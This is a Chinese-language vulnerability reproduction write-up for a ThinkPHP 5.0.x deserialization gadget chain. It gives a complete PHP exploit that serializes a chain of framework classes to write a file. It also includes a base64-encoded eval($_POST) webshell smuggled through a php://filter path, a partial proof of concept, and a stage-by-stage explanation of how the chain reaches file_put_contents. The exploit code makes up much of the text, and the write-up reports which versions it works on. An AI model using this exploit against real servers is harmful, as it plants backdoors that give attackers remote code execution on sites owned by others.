漏洞复现

exp

<?php

//__destruct
namespace think\process\pipes{
    class Windows{
        private $files=[];

        public function __construct($pivot)
        {
            $this->files[]=$pivot; //传入Pivot类
        }
    }
}

//__toString Model子类
namespace think\model{
    class Pivot{
        protected $parent;
        protected $append = [];
        protected $error;

        public function __construct($output,$hasone)
        {
            $this->parent=$output; //$this->parent等于Output类
            $this->append=['a'=>'getError'];
            $this->error=$hasone;   //$modelRelation=$this->error
        }
    }
}

//getModel
namespace think\db{
    class Query
    {
        protected $model;

        public function __construct($output)
        {
            $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
        }
    }
}

namespace think\console{
    class Output
    {
        private $handle = null;
        protected $styles;
        public function __construct($memcached)
        {
            $this->handle=$memcached;
            $this->styles=['getAttr'];
        }
    }
}

//Relation
namespace think\model\relation{
    class HasOne{
        protected $query;
        protected $selfRelation;
        protected $bindAttr = [];

        public function __construct($query)
        {
            $this->query=$query; //调用Query类的getModel

            $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
            $this->bindAttr=['a'=>'admin'];  //控制__call的参数$attr
        }
    }
}

namespace think\session\driver{
    class Memcached{
        protected $handler = null;

        public function __construct($file)
        {
            $this->handler=$file; //$this->handler等于File类
        }
    }
}

namespace think\cache\driver{
    class File{
        protected $options = [
            'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'cache_subdir'=>false,
            'prefix'=>'',
            'data_compress'=>false
        ];
        protected $tag=true;


    }
}

namespace {
    $file=new think\cache\driver\File();
    $memcached=new think\session\driver\Memcached($file);
    $output=new think\console\Output($memcached);
    $query=new think\db\Query($output);
    $hasone=new think\model\relation\HasOne($query);
    $pivot=new think\model\Pivot($output,$hasone);
    $windows=new think\process\pipes\Windows($pivot);

    echo urlencode(serialize($windows));
}

写入成功

http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php

文件内容

利用链分析

  1. thinkphp/library/think/process/pipes/Windows.php __destruct 调用removeFiles
  2. removeFiles,调用file_exists触发__toString
  3. thinkphp/library/think/Model.php tostring->toJson->toArray 最终调用`call`
  4. thinkphp/library/think/console/Output.php __call 调用Output类的block
  5. thinkphp/library/think/console/Output.php block调用writeIn->write,最后调用$this->handle->write(),全局搜索write方法
  6. thinkphp/library/think/session/driver/Memcached.php write方法调用$this->handle->set(),全局搜索set
  7. thinkphp/library/think/cache/driver/File.php set调用file_put_contents写入文件,但是参数不可控,继续进入setTagItem
  8. setTagItem再次调用set,此时参数可控,写入webshell

1.thinkphp/library/think/process/pipes/Windows.php

起点:__destruct

调用removeFiles方法

2.thinkphp/library/think/process/pipes/Windows.php

removeFiles中调用了file_exists,触发__toString

3.thinkphp/library/think/Model.php

__toString->toJson->toArray:

执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法

详细看toArray

执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法

需要让$value等于Output类

需要满足条件进入else分支

  1. $this->append不为空
  2. $bindAttr

$value是包含__call方法的类,也就是Output类,$attr是传入的参数。来看一下$value和$attr的来源

$value变量来源

$value的赋值过程

$modelRelation = $this->$relation();
$value         = $this->getRelationData($modelRelation);

让$relation等于Model类的getError(),这样$modelRelation就等于$this->error,$modelRelation可控

进入getRelationData,传入的$modelRelation必须是Relation类型,全局搜索找到符合要求的类HasOne

需要满足三个条件进入if分支,才能使$value可控,等于$this->parent

$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)

第一个条件:$this->parent就是$value的来源,等于Output类

来看一下如何满足第二个条件

!$modelRelation->isSelfRelation()

HasOne类是OneToOne类的子类,同样继承了Relation

/thinkphp/library/think/model/Relation.php

isSelfRelation方法,需要让$this->selfRelation为false

第三个条件,需要让$modelRelation->getModel()返回Output类

get_class($modelRelation->getModel()) == get_class($this->parent)

/thinkphp/library/think/model/Relation.php

Relation的getModel方法可以调用任意类的getModel方法,全局搜索getModel()

/thinkphp/library/think/db/Query.php

Query类的getModel方法直接返回$this->model,让model属性等于output就可以了

$attr的来源

$modelRelation必须是一个有getBindAttr方法且bindAttr属性可控的类,全局搜索存在getBindAttr方法的类

/thinkphp/library/think/model/relation/OneToOne.php

找到符合要求的类OneToOne,上面已经用了它的子类HasOne,所以直接改HasOne的bindAttr属性就行

先构造部分poc,目的是成功调用到Output类的__call

<?php

//__destruct
namespace think\process\pipes{
    class Windows{
        private $files=[];

        public function __construct($pivot)
        {
            $this->files[]=$pivot; //传入Pivot类
        }
    }
}

//__toString Pivot是Model子类
namespace think\model{
    class Pivot{
        protected $parent;
        protected $append = [];
        protected $error;

        public function __construct($output,$hasone)
        {
            $this->parent=$output; //$this->parent等于Output类
            $this->append=['a'=>'getError'];
            $this->error=$hasone;   //$modelRelation=$this->error=Hasone类
        }
    }
}

//getModel
namespace think\db{
    class Query
    {
        protected $model;

        public function __construct($output)
        {
            $this->model=$output; //$modelRelation->getModel()等于Output类
        }
    }
}

//__call
namespace think\console{
    class Output
    {
        public function __construct()
        {

        }
    }
}

//HasOne类继承自Relation
namespace think\model\relation{
    class HasOne{
        protected $query;
        protected $selfRelation;
        protected $bindAttr = [];

        public function __construct($query)
        {
            $this->query=$query; //调用Query类的getModel

            $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
            $this->bindAttr=['a'=>'a'];  //控制__call的参数$attr
        }
    }
}

namespace {
    $output=new think\console\Output();

    $query=new think\db\Query($output);

    $hasone=new think\model\relation\HasOne($query);
    $pivot=new think\model\Pivot($output,$hasone);
    $windows=new think\process\pipes\Windows($pivot);

    echo urlencode(serialize($windows));
}

成功调用了Output类的__call

4./thinkphp/library/think/console/Output.php

Output类的__call,调用block方法

5./thinkphp/library/think/console/Output.php

Output类的block方法调用了writeIn,$message就是HasOne类的属性bindAttr数组的值,是可控的。格式如下

<getAttr>admin</getAttr>

6./thinkphp/library/think/console/Output.php

Output类的writeIn方法调用了write方法,$this->handle可控,可以调用任意类的write方法。全局搜索write方法

7.thinkphp/library/think/session/driver/Memcached.php

找到Memcached类的write方法,可以调用任意类的set方法,全局搜索set方法

8.thinkphp/library/think/cache/driver/File.php

最后找到File类,set方法中可以调用file_put_contents方法写入shell。

第一个参数$name是从block方法那里传入的,还是

<getAttr>admin</getAttr>

第二个参数$value固定为false

文件名$filename来源于getCacheKey,实际上等于

$filename = $this->options['path'] . md5($name) . '.php';

也就是

$filename = $this->options['path'] . md5('<getAttr>admin</getAttr>') . '.php';

可以通过$this->options['path']控制文件名

还有个问题,文件内容不可控。

$data来自于set方法的参数$value,而$value的值固定为true,而且$expire只能为数值,

9.thinkphp/library/think/cache/driver/File.php

继续执行进入setTagItem,再次调用set,两个参数都可控了

现在第一个参数$name等于

'tag_' . md5($this->tag);

$value就是上面的$filename

$value=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php

利用php://filter的convert.iconv和convret.base64-decode绕过拼接的exit(),写入webshell

原理见:https://xz.aliyun.com/t/7457

一共会写入两个文件,第一个文件内容不可控,第二个才是webshell

a.php3b58a9545013e88c7186db11bb158c44.php

总结

实际测试在5.0.24和5.0.18可用,5.0.9不可用

要点:

  1. Model类的__toString调用Output类的__call的条件
  2. 二次调用set实现内容可控
  3. 用过滤器绕过文件名和exit()

借用文章里的图总结一下

参考

https://xz.aliyun.com/t/7457

https://www.anquanke.com/post/id/196364

https://xz.aliyun.com/t/7082

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